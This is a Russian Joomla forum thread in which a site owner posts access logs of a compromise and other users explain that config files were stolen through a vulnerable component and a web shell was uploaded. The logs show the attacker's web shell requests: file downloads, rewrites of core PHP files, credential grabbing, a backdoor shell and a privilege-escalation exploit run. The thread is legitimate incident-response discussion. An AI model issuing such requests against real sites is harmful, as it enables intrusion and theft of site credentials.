83.149.28.230 - - [29/Mar/2010:00:59:01 +0400] "GET /includes/exec.php?act=ls&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F&sort=0a HTTP/1.0" 200 54566
83.149.28.230 - - [29/Mar/2010:00:59:16 +0400] "GET /includes/exec.php?act=f&f=database.mysqli.php&ft=download&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes HTTP/1.0" 200 637
83.149.28.230 - - [29/Mar/2010:00:59:17 +0400] "GET /includes/exec.php?act=f&f=defines.php&ft=download&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes HTTP/1.0" 200 1316
83.149.28.230 - - [29/Mar/2010:00:59:18 +0400] "GET /includes/exec.php?act=f&f=database.php&ft=download&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes HTTP/1.0" 200 741
83.149.28.230 - - [29/Mar/2010:00:59:45 +0400] "GET /includes/exec.php?act=f&f=application.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 81405
83.149.28.230 - - [29/Mar/2010:01:00:07 +0400] "GET /includes/exec.php?act=f&f=application.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 29470
83.149.28.230 - - [29/Mar/2010:01:00:31 +0400] "POST /includes/exec.php?act=f&f=application.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 29825
83.149.28.230 - - [29/Mar/2010:01:00:49 +0400] "GET /includes/exec.php?act=exploits HTTP/1.0" 200 16415
217.107.219.113 - - [29/Mar/2010:01:01:02 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw HTTP/1.0" 200 118645
217.107.219.113 - - [29/Mar/2010:01:01:02 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=3&format=raw HTTP/1.0" 200 53814
217.107.219.113 - - [29/Mar/2010:01:01:02 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=4&format=raw HTTP/1.0" 200 114794
217.107.219.113 - - [29/Mar/2010:01:01:03 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=5&format=raw HTTP/1.0" 200 130471
217.107.219.113 - - [29/Mar/2010:01:01:03 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=6&format=raw HTTP/1.0" 200 45288
217.107.219.113 - - [29/Mar/2010:01:01:03 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=7&format=raw HTTP/1.0" 200 30952
217.107.219.113 - - [29/Mar/2010:01:01:04 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=8&format=raw HTTP/1.0" 200 177140
217.107.219.113 - - [29/Mar/2010:01:01:05 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=9&format=raw HTTP/1.0" 200 50403
217.107.219.113 - - [29/Mar/2010:01:01:05 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=10&format=raw HTTP/1.0" 200 41838
217.107.219.113 - - [29/Mar/2010:01:01:05 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=11&format=raw HTTP/1.0" 200 10858
217.107.219.113 - - [29/Mar/2010:01:01:05 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=14&format=raw HTTP/1.0" 200 627
83.149.28.230 - - [29/Mar/2010:01:01:09 +0400] "GET /includes/exec.php?act=ls&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F&sort=0a HTTP/1.0" 200 54566
83.149.28.230 - - [29/Mar/2010:01:01:11 +0400] "GET / HTTP/1.0" 200 177
83.149.28.230 - - [29/Mar/2010:01:01:33 +0400] "GET /includes/exec.php?act=f&f=router.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 100888
83.149.28.230 - - [29/Mar/2010:01:01:36 +0400] "GET /includes/exec.php?act=exploits HTTP/1.0" 200 16415
66.249.71.54 - - [29/Mar/2010:01:01:42 +0400] "GET /social/Grishin%20Anton/profile/app.html?app=myarticles HTTP/1.0" 200 177
83.149.28.230 - - [29/Mar/2010:01:01:49 +0400] "GET /includes/exec.php?act=f&f=router.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 30346
83.149.28.230 - - [29/Mar/2010:01:01:52 +0400] "GET /includes/exec.php?act=exploits&sploit=h00lyshit HTTP/1.0" 200 16556
83.149.28.230 - - [29/Mar/2010:01:01:56 +0400] "POST /includes/exec.php?act=f&f=router.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 30755
83.149.28.230 - - [29/Mar/2010:01:02:22 +0400] "GET /includes/exec.php?act=exploits&sploit=raptorchown HTTP/1.0" 200 16552
83.149.28.230 - - [29/Mar/2010:01:02:36 +0400] "GET / HTTP/1.0" 200 174
83.149.28.230 - - [29/Mar/2010:01:03:02 +0400] "GET /includes/exec.php?act=ls&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F&sort=0a HTTP/1.0" 200 56898
83.149.28.230 - - [29/Mar/2010:01:03:03 +0400] "GET /includes/exec.php?act=img&img=ext_h00lyshit HTTP/1.0" 200 1034
83.149.28.230 - - [29/Mar/2010:01:03:03 +0400] "GET /includes/exec.php?act=img&img=ext_raptor_chown HTTP/1.0" 200 1034
83.149.28.230 - - [29/Mar/2010:01:03:18 +0400] "GET /includes/exec.php?act=ls&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F&sort=0a HTTP/1.0" 200 56898
83.149.28.230 - - [29/Mar/2010:01:03:21 +0400] "GET /includes/exec.php?act=f&f=menu.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 36856
83.149.28.230 - - [29/Mar/2010:01:03:35 +0400] "GET /includes/exec.php?act=cmd&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F&cmd=.%2Fraptor_chown+zap&cmd_txt=1&submit=Execute HTTP/1.0" 200 16674
83.149.28.230 - - [29/Mar/2010:01:03:36 +0400] "GET /includes/exec.php?act=f&f=menu.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 22957
83.149.28.230 - - [29/Mar/2010:01:03:47 +0400] "POST /includes/exec.php? HTTP/1.0" 200 16674
83.149.28.230 - - [29/Mar/2010:01:03:59 +0400] "GET / HTTP/1.0" 200 174
83.149.28.230 - - [29/Mar/2010:01:04:09 +0400] "POST /includes/exec.php?act=f&f=menu.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 23023
83.149.28.230 - - [29/Mar/2010:01:04:09 +0400] "GET / HTTP/1.0" 200 18607
83.149.28.230 - - [29/Mar/2010:01:04:33 +0400] "GET /includes/exec.php?act=ls&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F&sort=0a HTTP/1.0" 200 56899
83.149.28.230 - - [29/Mar/2010:01:04:44 +0400] "GET /includes/exec.php?act=f&f=vcard.class.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 21347
83.149.28.230 - - [29/Mar/2010:01:05:14 +0400] "POST /includes/exec.php? HTTP/1.0" 200 48988
83.149.28.230 - - [29/Mar/2010:01:05:17 +0400] "GET / HTTP/1.0" 200 18607
83.149.28.230 - - [29/Mar/2010:01:05:24 +0400] "GET /includes/exec.php?act=grablogins HTTP/1.0" 200 16178
83.149.28.230 - - [29/Mar/2010:01:05:28 +0400] "GET /includes/exec.php?act=f&f=vcard.class.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20794
83.149.28.230 - - [29/Mar/2010:01:05:38 +0400] "POST /includes/exec.php?act=f&f=vcard.class.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20780
83.149.28.230 - - [29/Mar/2010:01:05:49 +0400] "GET /includes/exec.php?act=selfremove HTTP/1.0" 200 16467
83.149.28.230 - - [29/Mar/2010:01:05:51 +0400] "GET /includes/exec.php?act=ls&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F&sort=0a HTTP/1.0" 200 48947
83.149.28.230 - - [29/Mar/2010:01:05:54 +0400] "GET / HTTP/1.0" 200 18607
83.149.28.230 - - [29/Mar/2010:01:06:02 +0400] "GET /includes/exec.php?act=f&f=application.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 81521
83.149.28.230 - - [29/Mar/2010:01:06:03 +0400] "GET /includes/exec.php?act=f&f=database.mysqli.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 23975
83.149.28.230 - - [29/Mar/2010:01:06:03 +0400] "GET /includes/exec.php?act=f&f=HTML_toolbar.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 21366
83.149.28.230 - - [29/Mar/2010:01:06:04 +0400] "GET /includes/exec.php?act=f&f=database.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 24373
83.149.28.230 - - [29/Mar/2010:01:06:07 +0400] "GET /includes/exec.php?act=f&f=feedcreator.class.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 21509
83.149.28.230 - - [29/Mar/2010:01:06:08 +0400] "GET /includes/exec.php?act=f&f=footer.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 23598
83.149.28.230 - - [29/Mar/2010:01:06:09 +0400] "GET /includes/exec.php?act=f&f=framework.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 32182
83.149.28.230 - - [29/Mar/2010:01:06:10 +0400] "GET /includes/exec.php?act=f&f=gacl.class.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 21319
83.149.28.230 - - [29/Mar/2010:01:06:12 +0400] "GET /includes/exec.php?act=f&f=gacl_api.class.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 21425
83.149.28.230 - - [29/Mar/2010:01:06:15 +0400] "GET /includes/exec.php?act=f&f=joomla.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 21213
83.149.28.230 - - [29/Mar/2010:01:06:16 +0400] "GET /includes/exec.php?act=f&f=mambo.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 21187
83.149.28.230 - - [29/Mar/2010:01:06:17 +0400] "GET /includes/exec.php?act=f&f=mamboxml.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 21276
83.149.28.230 - - [29/Mar/2010:01:06:20 +0400] "GET /includes/exec.php?act=f&f=pageNavigation.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 21433
83.149.28.230 - - [29/Mar/2010:01:06:21 +0400] "GET /includes/exec.php?act=f&f=pathway.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 31004
83.149.28.230 - - [29/Mar/2010:01:06:24 +0400] "GET /includes/exec.php?act=f&f=pathway.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 22116
83.149.28.230 - - [29/Mar/2010:01:06:33 +0400] "POST /includes/exec.php?act=f&f=pathway.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 22162
217.107.219.113 - - [29/Mar/2010:01:06:36 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=1&format=raw HTTP/1.0" 200 118645
217.107.219.113 - - [29/Mar/2010:01:06:37 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=3&format=raw HTTP/1.0" 200 53814
217.107.219.113 - - [29/Mar/2010:01:06:37 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=4&format=raw HTTP/1.0" 200 114794
217.107.219.113 - - [29/Mar/2010:01:06:37 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=5&format=raw HTTP/1.0" 200 130471
217.107.219.113 - - [29/Mar/2010:01:06:37 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=6&format=raw HTTP/1.0" 200 45288
217.107.219.113 - - [29/Mar/2010:01:06:38 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=7&format=raw HTTP/1.0" 200 30952
217.107.219.113 - - [29/Mar/2010:01:06:38 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=8&format=raw HTTP/1.0" 200 177140
217.107.219.113 - - [29/Mar/2010:01:06:38 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=9&format=raw HTTP/1.0" 200 50403
217.107.219.113 - - [29/Mar/2010:01:06:38 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=10&format=raw HTTP/1.0" 200 41838
217.107.219.113 - - [29/Mar/2010:01:06:39 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=11&format=raw HTTP/1.0" 200 10858
217.107.219.113 - - [29/Mar/2010:01:06:39 +0400] "GET /index.php?option=com_ninjarsssyndicator&feed_id=14&format=raw HTTP/1.0" 200 627
83.149.28.230 - - [29/Mar/2010:01:06:43 +0400] "GET /includes/exec.php?act=f&f=router.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 101058
83.149.28.230 - - [29/Mar/2010:01:06:45 +0400] "GET /includes/exec.php?act=f&f=vcard.class.php&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes& HTTP/1.0" 200 21099
83.149.28.230 - - [29/Mar/2010:01:06:46 +0400] "GET /includes/exec.php?act=f&f=router.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 30742
83.149.28.230 - - [29/Mar/2010:01:07:12 +0400] "GET / HTTP/1.0" 200 37628
83.149.28.230 - - [29/Mar/2010:01:07:13 +0400] "GET /includes/exec.php?act=f&f=pageNavigation.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20883
83.149.28.230 - - [29/Mar/2010:01:07:24 +0400] "POST /includes/exec.php?act=f&f=pageNavigation.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20869
83.149.28.230 - - [29/Mar/2010:01:07:31 +0400] "GET /includes/exec.php?act=f&f=mambo.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20618
83.149.28.230 - - [29/Mar/2010:01:07:43 +0400] "POST /includes/exec.php?act=f&f=mambo.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20604
83.149.28.230 - - [29/Mar/2010:01:07:52 +0400] "GET /includes/exec.php?act=f&f=gacl_api.class.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20877
83.149.28.230 - - [29/Mar/2010:01:07:53 +0400] "GET /includes/exec.php?act=f&f=gacl.class.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20765
83.149.28.230 - - [29/Mar/2010:01:08:03 +0400] "POST /includes/exec.php?act=f&f=gacl.class.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20751
83.149.28.230 - - [29/Mar/2010:01:08:04 +0400] "POST /includes/exec.php?act=f&f=gacl_api.class.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20863
83.149.28.230 - - [29/Mar/2010:01:08:15 +0400] "GET /includes/exec.php?act=f&f=feedcreator.class.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20962
83.149.28.230 - - [29/Mar/2010:01:08:17 +0400] "GET /includes/exec.php?act=f&f=footer.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 21399
83.149.28.230 - - [29/Mar/2010:01:08:19 +0400] "GET /includes/exec.php?act=f&f=database.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 21224
83.149.28.230 - - [29/Mar/2010:01:08:35 +0400] "POST /includes/exec.php?act=f&f=footer.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 21393
83.149.28.230 - - [29/Mar/2010:01:08:36 +0400] "POST /includes/exec.php?act=f&f=feedcreator.class.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20948
83.149.28.230 - - [29/Mar/2010:01:08:45 +0400] "GET /includes/exec.php?act=f&f=feedcreator.class.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20934
83.149.28.230 - - [29/Mar/2010:01:08:55 +0400] "POST /includes/exec.php?act=f&f=database.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 21229
83.149.28.230 - - [29/Mar/2010:01:08:56 +0400] "GET /includes/exec.php?act=f&f=database.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 21215
83.149.28.230 - - [29/Mar/2010:01:09:07 +0400] "GET /includes/exec.php?act=f&f=application.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 29812
83.149.28.230 - - [29/Mar/2010:01:09:08 +0400] "GET /includes/exec.php?act=f&f=HTML_toolbar.php&ft=edit&white=1&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20824
77.88.25.27 - - [29/Mar/2010:01:09:06 +0400] "GET /vnimanie-avtomobilistam.html HTTP/1.0" 200 33804
83.149.28.230 - - [29/Mar/2010:01:09:18 +0400] "POST /includes/exec.php?act=f&f=HTML_toolbar.php&ft=edit&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 20808
83.149.28.230 - - [29/Mar/2010:01:09:40 +0400] "GET /includes/exec.php?act=trojan HTTP/1.0" 200 16445
83.149.28.230 - - [29/Mar/2010:01:09:58 +0400] "GET /includes/exec.php?act=shbd HTTP/1.0" 200 16394
83.149.28.230 - - [29/Mar/2010:01:10:01 +0400] "POST /includes/exec.php?act=shbd HTTP/1.0" 200 16548
83.149.28.230 - - [29/Mar/2010:01:10:14 +0400] "GET /includes/exec.php?act=tools&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 18539
83.149.28.230 - - [29/Mar/2010:01:10:41 +0400] "POST /includes/exec.php?act=tools&d=%2Fhome%2Fusers%2Fr%2Frus161%2Fdomains%2Filoverostov.ru%2Fincludes%2F HTTP/1.0" 200 18539
Записан
*

61rus

  • Осваиваюсь на форуме
  • 47
  • 1 / 0
Re: Взломали сайт через плагин AllVideos
« Ответ #1 : 31.03.2010, 00:48:00 »
и еще интересует такой вопрос, как он залил файл show.php это шел.
это его первое появление, проверил, до этого момента этого файла не было на сайте. Блин, как из воздуха появился.
« Последнее редактирование: 31.03.2010, 01:59:36 от 61rus »
Записан
*

Craz_z_zy

  • Захожу иногда
  • 87
  • 3 / 2
Re: Взломали сайт через плагин AllVideos
« Ответ #2 : 19.04.2010, 19:40:41 »
как-как, сначала утянули у тебя configuration.php через дыру в компоненте, ну а там, собственно, все пароли, далее уже залили шелл. Вердикт - менять теперь уже ВСЕ пароли.
Записан
*

61rus

  • Осваиваюсь на форуме
  • 47
  • 1 / 0
Re: Взломали сайт через плагин AllVideos
« Ответ #3 : 19.04.2010, 19:51:40 »
Так и сделал сразу:) Так же поставил блок по IP и сменил пароли у хостинга.
Записан
1   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

При открытии сайта с режима инкогнито перекидывает на вирусный сайт

Автор 62411

 Ответов: 6
Просмотров: 3149 		Последний ответ 31.03.2024, 16:14:32
от SeBun
Netflix! - Клиент поймал фишинг на старый сайт. Где порылись собаки?

Автор Alex_gs

 Ответов: 9
Просмотров: 2260 		Последний ответ 05.11.2021, 21:47:31
от wishlight
Взломали сайт. Как в некоторых случаях делаю я

Автор cntrl

 Ответов: 0
Просмотров: 1136 		Последний ответ 29.08.2020, 00:25:24
от cntrl
Безопасный вход на сайт Joomla и админка

Автор jm

 Ответов: 9
Просмотров: 2284 		Последний ответ 19.07.2020, 23:57:17
от wishlight
[Руководство] Как защитить сайт на версии 1.5 (не поддерживается разработчиками)

Автор flyingspook

 Ответов: 13
Просмотров: 7861 		Последний ответ 08.01.2020, 12:52:55
от winstrool